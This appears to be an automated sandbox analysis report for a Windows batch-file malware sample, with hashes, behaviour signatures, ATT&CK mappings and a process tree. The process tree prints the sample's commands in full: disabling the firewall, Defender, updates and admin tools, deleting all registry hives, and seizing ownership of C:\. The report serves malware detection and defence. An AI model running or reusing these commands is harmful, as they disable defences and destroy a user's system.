Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
-
submitted
29/09/2024, 07:25
General
-
Target
batty.bat
-
Size
4KB
-
MD5
0ed6d92eb6002975cab4b141fa8e48f9
-
SHA1
3d81c6350ef10be62a7c6b175af44fa363d81feb
-
SHA256
a51d5ba8a45986784cf36b41570e3071975bb22d7b50d7aec05742c68ec0ad55
-
SHA512
0beea6db5a1c00c96e8cad70661e23647a9ba71f681d865b3c103ad86e2af1fa80acbbe1d7554b7c6034de7659b9853943a43d6b70f44e37aafbbab70baa1373
-
SSDEEP
48:37l9BNXcf6iG2FK+8OEW9+HeEdUm/E2n23WwkFEeJE/sPEijE1Ms9Xc/fDKye9+j:37jEf8+8HFU22mZXMGEny/NKCDjT
Malware Config
Signatures
-
Disables RegEdit via registry modification 1 IoCs
-
Disables Task Manager via registry modification
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Possible privilege escalation attempt 2 IoCs
-
Modifies file permissions 1 TTPs 2 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in Windows directory 4 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Runs net.exe
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: LoadsDriver 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\batty.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\batty.bat hide2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
- Disables RegEdit via registry modification
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg delete HKEY_CLASSES_ROOT /f3⤵
-
-
C:\Windows\system32\reg.exereg delete HKEY_CURRENT_USER /f3⤵
-
-
C:\Windows\system32\reg.exereg delete HKEY_LOCAL_MACHINE /f3⤵
-
-
C:\Windows\system32\reg.exereg delete HKEY_USERS /f3⤵
-
-
C:\Windows\system32\reg.exereg delete HKEY_CURRENT_CONFIG /f3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\* /r /d y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls C:\* /grant Administrators:F /t3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.131⤵
- Modifies registry class
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 MicrosoftWindows.Client.CBS_cw5n1h2txyewy1⤵
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
14KB
MD57d40af72b9810256c59774e3ab331303
SHA158a97a6b86f9b9111ef3ab1577b3bb2dbc805f81
SHA256923c47e107609bfd829a3c44cc3fd0cc96b52d47de67c1855ee743a9917d1404
SHA512d3cebdbd060b658de330e1792329b9cc6af20945da0cfea2666856f5fd7018574c58545739a52a6eb048c6b258d13711a82ce8801ea91184567c1741bf16c1f7
-
Filesize
17KB
MD54507fdf3ef5f7584c4fbe0faccfba434
SHA1e79b891fdbdc67a4432fc2aa4895889568d3a836
SHA256b9cac20054e5dbdf48158c240a4c1d9e40f9864aa07d3fb9b75f809977688a4a
SHA5121f20aed416ce7ba390b66cdb0f8dfda21c8b6475836bbc397ac2df42e61c2ca7697049f224703e7fc31b5c132e2d442db5e019076854eda37e8d61e1afee72ab
-
Filesize
97B
MD553c14d16216dd0ab44e9264bf69fd824
SHA1ae2c5efa8bbbcdd51acc1868625fc619b05795d7
SHA256bfa4d37779b58ddec0003d312cff5e95da923b422b9a3d368d82a9c6e5bc0864
SHA5126ce69044a0df72d68fb935b3961caac51ab5f19035a213eebc6c01f0d2eea8ddfbe64eb95d7bc052ec791bb82d634f8da28ac2af96ee415e06191ba76d7d59dd
-
Filesize
328B
MD5cff1b5ff47664705c0b3a4c3dd96f897
SHA17c45852429cbd8976f67407508344c69f1200468
SHA256f845c9f747c5976c63e68f855d21e8cd6b60407b349c13329236101a1cce3115
SHA51226fd93b656938c71939d637d78c9a75297938a789293840d1fa8156e9940cc2ee0c085213399de8ee67b9e7d71983c97afc74c0c2e466101163d8e2d5404eec3
-
Filesize
14KB
MD51a8ec26575e0f581074c16f116b4c352
SHA13e6091c3fd28fd93b92d52ce79bb67e3bb434bba
SHA25685e0e69057b69b3a7a170afcbe762cc6e96a65a528b4600fa62f5fa581591d3a
SHA51283cc549c0950adfba92924e54f8dd29ffeb1f338f0c28b6a99e02920fb52463683fe6d27ccee5091712d8b26c5161af9e0cb2844e4d7488e38e3b2182d119d35
-
Filesize
67KB
MD525f0ef172a904d2ac644763c35607212
SHA15677c4be5db5e9ed449c16a4c47df71d5aea4045
SHA256f8a63098c5f65cab9cc5e2e4908ac96029e2769d395f63b121627c374a9db0fc
SHA512e86981048162f2f8513150fce89186e2a7853eeaa9ba8e831567487c395fe13fa187c4bf0c6fb9930da8e1936e8733c821db8b7cb82b66709b3561516f769636
-
Filesize
11KB
MD50baad14b6bcea1d60bde5910a7c81b6b
SHA134d7d1107ff683154c928c3906998fcb651aeba9
SHA256a9bd49a69dea33f0f215df8ce5c86a817b7670a90212c102037bbf28f6190df8
SHA5123e1f44f8804c7fe48b55a667d75c92b503ccbc85189d454c226f1a405c45a11db6a30dd05ce7873f51621c71351bb7f358d944324f6de88855a3774c696932a1
-
Filesize
10KB
MD5aa41fcff37e647d903027f883fe21d05
SHA107cfc810cf877c750d35dc52a41bed74cf55275e
SHA2560050911b9e3cb24c184885e1e672c58b1f79f4d1eb002f8026af4d19ebdbc859
SHA512fe416c51e721eb1f5184ffe546dc45fe2d86053f2edf2238fe951e9a068ae29ffb8602d98b4b4078c773b3e14a9b911a7fb6cd94e13fdde480dd51e2157a9638
-
Filesize
846KB
MD5766f5efd9efca73b6dfd0fb3d648639f
SHA171928a29c3affb9715d92542ef4cf3472e7931fe
SHA2569111e9a5093f97e15510bf3d3dc36fd4a736981215f79540454ce86893993fdc
SHA5121d4bb423d9cc9037f6974a389ff304e5b9fbd4bfd013a09d4ceeff3fd2a87ad81fe84b2ee880023984978391daf11540f353d391f35a4236b241ccced13a3434
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB